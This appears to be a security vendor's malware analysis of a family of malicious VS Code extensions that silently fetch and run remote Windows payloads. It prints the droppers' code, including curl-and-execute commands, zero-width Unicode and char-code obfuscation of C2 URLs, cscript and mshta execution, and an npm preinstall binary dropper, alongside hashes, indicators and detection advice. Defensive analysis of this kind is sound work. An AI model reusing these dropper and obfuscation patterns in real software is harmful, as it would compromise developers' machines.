The Windows Installer Dropper Family: VS Code Extensions Living off the Land
Not every malicious extension is subtle. Some simply ask Windows to run a remote installer and trust that the user will not notice. In the last two weeks of June 2026, Argus caught a cluster of extensions that used almost every Windows installer primitive available.
Executive Summary
- Campaign family: Windows installer droppers
- Extensions covered:
-
guavaduck.omnirouter-ai/guavaduck2.omnirouter— curlbash .batdropper Floriani.mcp-hub— samefdgfdgfdgfdgfhtgftdr.store.batdropperAppCreationPLC.boardwalk/AppCreationLLP.boardwalkapp/GregoryBoy.ropanel— cscript JScript dropperAppReleasePLC.boardlinkapplication— mshta.htadropper via Cloudflare WorkersCipherLabs.CipherLabsApplication/HuxLabs.huxlabsapp— npm postinstall.exedropper-
KsWpsClaude.wps-claude-vscode— irmiex PowerShell installer
-
- Detection primitives:
-
fdgfdgfdgfdgfhtgftdr.store/dab.batcurlbash .batdropper cscript //e:jscript+nice.jsJScript dropper- Cloudflare Workers
.hta+mshta.exedropper - npm
postinstall+pooron.org/rg/ice.exedropper -
WPS-hosted install.sh/install.ps1irmiex installer
-
Why the Vector Works
Developers install software by running remote installers all day. curl -fsSL https://.../install.sh | bash is a normal workflow for open-source tools. The operators in this campaign hide inside that norm. They give their extensions names that sound like AI assistants, board tools, or Claude installers, then use the same primitives a legitimate CLI would use — but with no user consent and no visible confirmation.
Technical Analysis
curl|bash .bat dropper: guavaduck / Floriani
guavaduck.omnirouter-ai-0.1.0 and Floriani.mcp-hub-0.1.0 embed the same hidden command. The 0.1.0 version is plaintext:
require("child_process").exec(
"cd /d %TEMP%&&curl -sO hxxps://fdgfdgfdgfdgfhtgftdr[.]store/dab.bat && dab.bat"
);
Later variants (guavaduck2.omnirouter-0.1.0) hide the same command in zero-width Unicode characters:
var q = (o) => o.split("").map(
e => String.fromCharCode(parseInt([...e].map(t => t === "" ? 0 : 1).join(""), 2))
).join("").replace(/\u0000/g, "");
require("child_process").exec(q("..."));
// decodes to: cd /d %TEMP%&&curl -sO hxxps://fdgfdgfdgfdgfhtgftdr[.]store/dab.bat && dab.bat
guavaduck2.omnirouter-0.1.0 SHA-256: c7be9abbc07b679e59627a76db95d56e7b3208efb1b0cc3cce99ee7213948821.
The .bat file is a multi-stage PowerShell dropper that ends in a reflective C# loader.
cscript JScript Dropper: boardwalk / ropanel
AppCreationPLC.boardwalk-1.7.0 and AppCreationLLP.boardwalkapp-1.7.0 ship the same extension/src/extension.js. On activation they download a JScript payload and execute it with Windows Script Host:
const scriptUrl = 'hxxps://www.urmomthabomb[.]com/java.js';
const scriptPath = path.join(os.tmpdir(), 'nice.js');
https.get(scriptUrl, (res) => {
// write res to scriptPath
const cscriptPath = process.platform === 'win32' ? 'cscript' : path.join(os.tmpdir(), 'cscript.exe');
const cmd = `"${cscriptPath}" //nologo //e:jscript "${scriptPath}"`;
cp.exec(cmd, (error, stdout, stderr) => { ... });
});
GregoryBoy.ropanel-4.7.0 keeps the same nice.js drop name but uses a Netlify C2:
const scriptUrl = 'hxxps://velvety-starship-964d18.netlify[.]app/dependencies.js';
const scriptPath = path.join(os.tmpdir(), 'nice.js');
| Extension | SHA-256 |
|---|---|
AppCreationPLC.boardwalk-1.7.0.vsix |
e1405eb7bcbe58b5b378a8ccbcf67ac281182a2062ce2d15f5065257821cf9d3 |
AppCreationLLP.boardwalkapp-1.7.0.vsix |
7d9a2b966a30ed8829e042d4183cefbcbb4cad79498e5b89f5bf0b62cf663e6c |
GregoryBoy.ropanel-4.7.0.vsix |
69a51a5beacf751b1f3dcff71f23656a7f1860c9a913bf1a96f18409d03f38d6 |
mshta .hta dropper: boardlinkapplication
AppReleasePLC.boardlinkapplication-1.5.5 decodes its C2 URL from numeric arrays at runtime and launches a hidden .hta payload:
const _c = [104,116,116,112,115,58,47,47]; // "https://"
const _d = [108,105,116,116,108,101,45,98,108,111,99,107,45,54,98,102,54,46,97,115,115,102,108,97,112,104,98,98,46,119,111,114,107,101,114,115,46,100,101,118]; // "little-block-6bf6.assflaphbb.workers.dev"
const _f = [97,117,100,105,111,46,104,116,97]; // "audio.hta"
const url = String.fromCharCode(..._c) + String.fromCharCode(..._d) + '/' + String.fromCharCode(..._f);
// hxxps://little-block-6bf6.assflaphbb.workers[.]dev/audio.hta
It drops a random-name .hta file into os.tmpdir() and runs it with mshta.exe, using a Cloudflare Workers subdomain and a fake User-Agent to blend in.
VSIX SHA-256: 8cf3eb3e4bcd69e4068f432a775e08d06c9f98490797bcbd2ad0779426680968.
npm postinstall .exe dropper: boardflow
CipherLabs.CipherLabsApplication-1.0.1 and HuxLabs.huxlabsapp-1.0.2 bundle a dependency called boardflow@1.2.1. Its package.json declares a preinstall script:
{ "preinstall": "node install.js" }
The obfuscated install.js downloads and runs a remote Windows binary:
const PAYLOAD_URL = 'hxxps://www.pooron[.]org/rg/ice.exe';
const PAYLOAD_NAME = 'tester_' + crypto.randomBytes(8).hex() + '.exe';
const PAYLOAD_PATH = path.join(process.env.TEMP || process.env.TMP || '/tmp', PAYLOAD_NAME);
// download via https.get(...), write to PAYLOAD_PATH, chmod 755
if (process.platform === 'win32') {
spawn(PAYLOAD_PATH, [], { detached: true, stdio: 'ignore', windowsHide: true }).unref();
} else {
spawn('chmod', ['+x', PAYLOAD_PATH], { detached: true, stdio: 'ignore' }).unref();
}
| Extension | SHA-256 |
|---|---|
CipherLabs.cipherlabsapplication-1.0.1.vsix |
0a9b2e8bb26f5e06ccb3b6355ccba58e86ac56cdebf4f5e6b680a9e9f5cd70ae |
HuxLabs.huxlabsapp-1.0.2.vsix |
6135b2ceda499ec3c9d1cee3210df4504ba03534d1c710fd876f0d3893a08cd5 |
irm|iex PowerShell installer: wps-claude
KsWpsClaude.wps-claude-vscode advertises a Claude Code integration for WPS. It downloads install.sh or install.ps1 from WPS hosts and runs the Windows equivalent of curl |
bash: |
irm https://.../install.ps1 | iex
This family was already covered in a separate write-up and is listed here only as a related technique.
Why it evades detection
| Defender assumption | What the campaign actually does | |
|---|---|---|
| curl | bash is normal for dev tools | These extensions run it silently on activation |
.bat, .hta, and .js are common file types |
They are delivery vehicles for remote commands | |
| npm dependencies are safe until reported | postinstall/preinstall scripts can download and run binaries |
|
| A legitimate-looking brand (WPS, board, router) means a real product | The names are cover stories for unrelated payloads | |
| A later version is safer | guavaduck2 re-uses the same command in zero-width Unicode to evade string matching |
What we are doing about it
Argus detects each installer primitive behaviorally so that future variants are caught even when the publisher name changes:
child_process.execofcurl -sO .../dab.bat && dab.bat, including zero-width encoded variantscscript //e:jscriptexecution of droppednice.jsfrom Netlify /urmomthabomb.comC2s- Cloudflare Workers
.htapayloads executed viamshta.exe - npm
preinstall/postinstallscripts that fetchpooron.org/rg/ice.exe - WPS-hosted
install.sh/install.ps1invoked throughirm|iex
Focused retro-hunts for these primitives found no additional siblings, which suggests the operators are iterating quickly and publishing small batches rather than a long-lived campaign.
Remediation and recommendations
- Block the known C2 domains and install scripts:
fdgfdgfdgfdgfhtgftdr.store,pooron.org,velvety-starship-964d18.netlify.app,little-block-6bf6.assflaphbb.workers.dev, and the WPS install hosts. - Treat silent remote installers as malicious by default in managed VS Code: environments.
- Disable npm
postinstallandpreinstallscripts for extensions that bundle dependencies. - Alert on
cscript,mshta,cmd /c,curl ... | cmd, andpowershell irm|iexspawned from extension processes in EDR policies.
Indicators
| Technique | Extension(s) | C2 / Payload | VSIX SHA-256 |
|---|---|---|---|
| curl|bash .bat | guavaduck.omnirouter-ai, guavaduck2.omnirouter, Floriani.mcp-hub |
fdgfdgfdgfdgfhtgftdr.store/dab.bat |
f5cbeeadd696e3cae14cb5bb7de5fee602228239ec56bc66de6056b834afb64b |
| cscript JScript | AppCreationPLC.boardwalk, AppCreationLLP.boardwalkapp, GregoryBoy.ropanel |
urmomthabomb.com/java.js, velvety-starship-964d18.netlify.app/dependencies.js |
e1405eb7bcbe58b5b378a8ccbcf67ac281182a2062ce2d15f5065257821cf9d3 |
| mshta .hta | AppReleasePLC.boardlinkapplication |
little-block-6bf6.assflaphbb.workers.dev/audio.hta |
8cf3eb3e4bcd69e4068f432a775e08d06c9f98490797bcbd2ad0779426680968 |
| npm postinstall .exe | CipherLabs.CipherLabsApplication, HuxLabs.huxlabsapp |
www.pooron.org/rg/ice.exe |
0a9b2e8bb26f5e06ccb3b6355ccba58e86ac56cdebf4f5e6b680a9e9f5cd70ae |
| irm|iex PowerShell | KsWpsClaude.wps-claude-vscode |
WPS-hosted install.ps1 |
(covered separately) |
The Windows installer dropper family is not a single campaign. It is a playbook. The operators share the same insight: if an extension can make Windows fetch and run a file, they do not need a complex payload. They just need a convincing name.